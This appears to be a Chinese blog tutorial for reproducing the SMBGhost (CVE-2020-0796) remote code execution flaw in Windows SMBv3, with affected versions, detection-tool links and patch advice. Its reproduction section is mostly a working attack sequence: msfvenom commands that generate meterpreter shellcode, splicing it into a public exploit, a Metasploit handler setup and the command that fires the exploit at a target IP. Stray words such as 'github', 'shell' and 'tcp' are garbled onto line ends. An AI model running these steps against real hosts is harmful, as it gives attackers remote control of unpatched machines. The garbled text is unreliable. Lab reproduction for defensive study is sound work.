CVE-2020-0796 漏洞復現(rce)含exp教程python
0X00漏洞簡介git
Microsoft Windows和Microsoft Windows Server都是美國微軟(Microsoft)公司的產品,Microsoft Windows是一套我的設備使用的操做系統,Microsoft Windows Server是一套服務器操做系統,Server Message Block是其中的一個服務器信息傳輸協議。github
微軟公佈了在Server Message Block 3.0(SMBv3)中發現的「蠕蟲型」預受權遠程代碼執行漏洞。shell
0X01漏洞概述windows
(CVE-2020-0796 SMBGhost)該漏洞是因爲SMBv3協議在處理惡意的壓縮數據包時出錯所形成的,它可以讓遠程且未經身份驗證的攻擊者在目標系統上執行任意代碼。服務器
0X02影響版本tcp
適用於32位系統的Windows 10版本1903工具
Windows 10 1903版(用於基於x64的系統)測試
Windows 10 1903版(用於基於ARM64的系統)ui
Windows Server 1903版(服務器核心安裝)
適用於32位系統的Windows 10版本1909
Windows 10版本1909(用於基於x64的系統)
Windows 10 1909版(用於基於ARM64的系統)
Windows Server版本1909(服務器核心安裝)
0X03環境搭建
可在虛擬機中搭建win10系統來進行復現。若有須要可留言獲取iso文件。
0X04漏洞檢測
漏洞檢測腳本有不少這裏簡單分享倆個。
gitHub檢測工具:https://github.com/ollypwn/SMBGhost
某信cert檢測工具私聊可獲取。
某檢測工具演示:
p地址爲win10地址,本地測試是需關閉win10防火牆成可ping通狀態。
0X05漏洞復現
最近剛剛爆出了rce 的exp因此趕忙復現一手。
Exp地址:https://github.com/chompie1337/SMBGhost_RCE_PoC
該exp使用環境爲python3
下載完成後將該exp放到kaili虛擬機中
啓動msf
使用msf生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
執行該命令後會在桌面生成一個shellcode.txt
將生成的shellcode替換exp中的exploit.py中的USER_PAYLOAD保存便可。
使用kaili中的msf開啓監聽
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #設置反彈模式
msf5 exploit(multi/handler) > set rhost 192.168.1.103 #設置目標靶機IP地址
msf5 exploit(multi/handler) > set lport 3333 #設置監聽端口
msf5 exploit(multi/handler) > exploit
在kail中進入exp文件夾,執行exp文件
python3 exploit.py ip 192.168.31.137
便可看到msf中收到了回顯成功鏈接。
如復現沒有成功可能的緣由有:
1.msf監聽端口被佔用
2.windows10設置自動更新已自動打補丁
3.shellcode未替換正確
4.exp端口和msf監聽端口不一致
0X06漏洞修復
目前廠商已發佈升級補丁以修復漏洞,補丁獲取連接:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
或者你可使用如下PowerShell命令禁用SMBv3服務的壓縮(無需從新啓動):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force
此外你還能夠經過禁止SMB的流量流向外網來防護攻擊。